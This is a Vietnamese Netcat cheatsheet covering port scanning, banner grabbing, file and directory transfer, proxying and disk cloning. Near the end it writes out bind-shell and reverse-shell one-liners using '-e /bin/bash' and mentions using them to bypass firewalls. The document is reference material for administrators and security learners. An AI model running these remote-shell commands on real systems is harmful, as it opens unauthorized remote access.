Chuyển tới nội dung chính

Netcat - Cheatsheet

Cheatsheet này cung cấp các hướng dẫn sử dụng Netcat trên cả hệ điều hành Linux và Unix.

thiệp cưới online
thiệp tốt nghiệp online
thiệp sinh nhật online
cửa hàng
roadmaps
cheatsheet
tài liệu phỏng vấn

🔖 Gợi ý từ Admin

📝 Tài liệu phỏng vấn kiến thức lập trình: Xem tại đây!!!

📌 Tìm hiểu về thuật toán: Xem tại đây!!!

📌 Roadmaps - Lộ trình trở thành một lập trình viên: Xem tại đây!!!

⚡️ Cheatsheet các ngôn ngữ lập trình: Xem tại đây!!!

⚡️ Handbook lập trình: Xem tại đây!!!

I. Tổng hợp Netcat Cheatsheet

1. Cơ bản

⚡️ Sử dụng: lệnh nc được sử dụng để thực hiện các thao tác như kết nối đến một máy chủ ở bất kỳ đâu hoặc lắng nghe kết nối đến trên một cổng cụ thể.

# Kết nối đến một máy chủ ở bất kỳ đâu
$ nc [options] [host] [port]

# Lắng nghe kết nối đến
$ nc -lp port [host] [port]

⚡️ Chat client-server

# Server (192.168.1.9)
$ nc -lv 8000

# Client
$ nc 192.168.1.9 8000

Trong ví dụ này, nc được sử dụng để thiết lập một máy chủ lắng nghe trên cổng 8000 (nc -lv 8000) và một máy khách kết nối đến máy chủ (nc 192.168.1.9 8000). Điều này có thể tạo ra một đối thoại giữa máy chủ và máy khách thông qua kết nối TCP trên cổng 8000.

⚡️ Các tùy chọn mẫu cho Netcat

Trong bảng này, các tùy chọn cho lệnh nc được mô tả, cung cấp các tính năng như quét cổng, thiết lập chế độ lắng nghe, sử dụng UDP thay vì TCP, đặt giới hạn thời gian chờ, và nhiều tính năng khác.

Tùy chọnVí dụMô tả
-hnc -hHiển thị trợ giúp
-znc -z 192.168.1.9 1-100Quét cổng cho một máy chủ hoặc địa chỉ IP
-vnc -zv 192.168.1.9 1-100Hiển thị kết quả một cách chi tiết
-nnc -zn 192.168.1.9 1-100Quét nhanh bằng cách tắt giải quyết DNS
-lnc -lp 8000 TCPChế độ lắng nghe (đối với kết nối đến)
-wnc -w 180 192.168.1.9 8000Đặt giá trị thời gian chờ
-knc -kl 8000Tiếp tục lắng nghe sau khi mất kết nối
-unc -u 192.168.1.9 8000Sử dụng giao thức UDP thay vì TCP
-qnc -q 1 192.168.1.9 8000Client tiếp tục hoạt động sau khi nhận EOF
-4nc -4 -l 8000Chỉ sử dụng IPv4
-6nc -6 -l 8000Chỉ sử dụng IPv6

2. Netcat Examples

⚡️ Banner grabbing

Trong ví dụ này, nc được sử dụng để thực hiện việc nhận diện banner thông qua việc kết nối đến một máy chủ web (website.com) trên cổng 80 và gửi các yêu cầu HTTP để nhận thông tin từ banner của máy chủ web. Ngoài ra, có thể sử dụng nc để kiểm tra các cổng trong một dải cụ thể (-zv -wl 192.168.1.1 801-805).

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1
# hoặc
echo "" | nc -zv -wl 192.168.1.1 801-805

⚡️ Port scanning: nc được sử dụng để quét cổng trên một máy chủ có địa chỉ IP là 192.168.1.1. Cờ -z là để chỉ hiển thị thông báo lỗi nếu kết nối không thành công, -v là để hiển thị đầu ra chi tiết, và -n là để tắt giải quyết DNS.

# Quét cổng từ 21 đến 25
$ nc -zvn 192.168.1.1 21-25

# Quét cổng 22, 3306 và 8080
$ nc -zvn 192.168.1.1 22 3306 8080

⚡️ Proxy và port forwarding: nc được sử dụng để tạo ra một proxy hoặc chuyển tiếp cổng từ cổng 8001 đến cổng 8000. Khi có kết nối đến cổng 8001, nó sẽ chuyển tiếp dữ liệu đến cổng 8000 trên cùng máy chủ hoặc máy tính local. Đây là một cách để tạo ra một proxy đơn giản hoặc thực hiện chuyển tiếp cổng giữa hai cổng khác nhau.

$ nc -lp 8001 -c "nc 127.0.0.1 8000"
# hoặc
$ nc -l 8001 | nc 127.0.0.1 8000
# Tạo một đường hầm từ một cổng local đến một cổng khác

⚡️ Download file: nc được sử dụng để chuyển tệp từ máy chủ đến máy khách. Máy chủ lắng nghe trên cổng 8000 và đọc dữ liệu từ tệp "file.txt", trong khi máy khách kết nối đến máy chủ và ghi dữ liệu vào một tệp cục bộ "file.txt".

# Server (192.168.1.9)
$ nc -lv 8000 < file.txt

# Client
$ nc -nv 192.168.1.9 8000 > file.txt
# Giả sử bạn muốn chuyển một tệp "file.txt" từ máy chủ A đến máy khách B.

⚡️ Upload file: nc được sử dụng để chuyển tệp từ máy khách đến máy chủ. Máy chủ lắng nghe trên cổng 8000 và ghi dữ liệu vào tệp "file.txt", trong khi máy khách đọc dữ liệu từ tệp cục bộ "file.txt" và gửi nó đến máy chủ.

# Server (192.168.1.9)
$ nc -lv 8000 > file.txt

# Client
$ nc 192.168.1.9 8000 < file.txt
# Giả sử bạn muốn chuyển một tệp "file.txt" từ máy khách B đến máy chủ A.

⚡️ Directory transfer: nc được sử dụng để truyền thư mục từ máy chủ đến máy khách. Máy chủ tạo một bản sao nén của thư mục bằng lệnh tar và chuyển nén dữ liệu đó qua mạng thông qua nc. Máy khách nhận dữ liệu nén và giải nén nó trên thư mục cục bộ bằng lệnh tar.

# Server (192.168.1.9)
$ tar -cvf – dir_name | nc -l 8000

# Client
$ nc -n 192.168.1.9 8000 | tar -xvf -
# Giả sử bạn muốn chuyển một thư mục qua mạng từ A đến B.

⚡️ Encrypt transfer: nc được sử dụng để truyền dữ liệu qua mạng, và dữ liệu được mã hóa và giải mã bằng OpenSSL. Máy chủ (-l 8000) sử dụng openssl để giải mã dữ liệu được truyền và lưu vào một tệp tin cục bộ (file.txt). Máy khách sử dụng openssl để mã hóa dữ liệu trước khi gửi nó đến máy chủ thông qua nc. Mật khẩu được chuyển trực tiếp trong lệnh, đây chỉ là một ví dụ đơn giản và không an toàn trong thực tế. Trong môi trường thực tế, bạn nên sử dụng các phương tiện an toàn để chuyển mật khẩu.

# Server (192.168.1.9)
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt

# Client
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
# Mã hóa dữ liệu trước khi truyền qua mạng

⚡️ Clones: nc được sử dụng để sao chép toàn bộ nội dung của ổ đĩa /dev/sda từ máy chủ đến máy khách. Lệnh dd được sử dụng để sao chép dữ liệu trực tiếp giữa các thiết bị, mà không cần tạo bản sao trung gian. Việc sao chép một máy tính đòi hỏi sự cẩn trọng và sự hiểu biết vững về hệ thống và ổ đĩa, vì nó có thể dẫn đến mất dữ liệu nếu không thực hiện đúng cách.

# Server (192.168.1.9)
$ dd if=/dev/sda | nc -l 8000

# Client
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
# Sao chép một máy tính Linux rất đơn giản. Giả sử ổ đĩa hệ thống của bạn là /dev/sda

⚡️ Video streaming: nc được sử dụng để truyền tệp video video.avi từ máy chủ đến máy khách. Dữ liệu được đọc từ tệp video trên máy chủ và truyền qua mạng thông qua nc. Ở phía máy khách, dữ liệu được đọc từ nc và chuyển giao cho mplayer để phát video. Bạn có thể thay thế mplayer bằng trình phát video khác tùy thuộc vào hệ thống của bạn.

# Server (192.168.1.9)
$ cat video.avi | nc -l 8000

# Client
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
# Truyền video sử dụng netcat

⚡️ Remote Shell: máy chủ mở một cổng lắng nghe (-l 8000) và sử dụng tùy chọn -e để thực hiện một lệnh khi có kết nối. Trong trường hợp này, lệnh được thực thi là /bin/bash, tạo một kết nối Shell từ xa. Máy khách sau đó kết nối đến máy chủ, và một kết nối Shell từ xa được thiết lập. Lưu ý rằng việc sử dụng tùy chọn -e của nc để thực hiện lệnh có thể tạo ra lỗ hổng bảo mật và chỉ nên được sử dụng trong môi trường tin cậy.

# Server (192.168.1.9)
$ nc -lv 8000 -e /bin/bash

# Client
$ nc 192.168.1.9 8000
# Chúng ta có thể sử dụng Shell từ xa bằng cách sử dụng telnet và ssh nhưng nếu chúng không được cài đặt và chúng ta không có quyền cài đặt chúng, thì chúng ta có thể tạo Shell từ xa bằng cách sử dụng netcat.

⚡️ Reverse Shell: máy chủ mở một cổng lắng nghe (-l 8000) và chờ đợi kết nối từ máy khách. Máy khách sử dụng nc để kết nối đến máy chủ và mở một kết nối ngược (reverse connection). Tùy chọn -e /bin/bash được sử dụng để thực hiện một kết nối Shell từ xa trên máy chủ khi kết nối được thiết lập. Reverse shells thường được sử dụng để bypass các hạn chế tường lửa như chặn kết nối đến máy chủ. Lưu ý rằng việc sử dụng tùy chọn -e của nc để thực hiện lệnh có thể tạo ra lỗ hổng bảo mật và chỉ nên được sử dụng trong môi trường tin cậy.

# Máy chủ (192.168.1.9)
$ nc -lv 8000

# Máy khách
$ nc 192.168.1.9 8000 -v -e /bin/bash
# Reverse shells thường được sử dụng để bypass các hạn chế tường lửa như chặn kết nối đến máy chủ

II. Tài liệu tham khảo

Chia sẻ:

Nghe nhạc chill hong!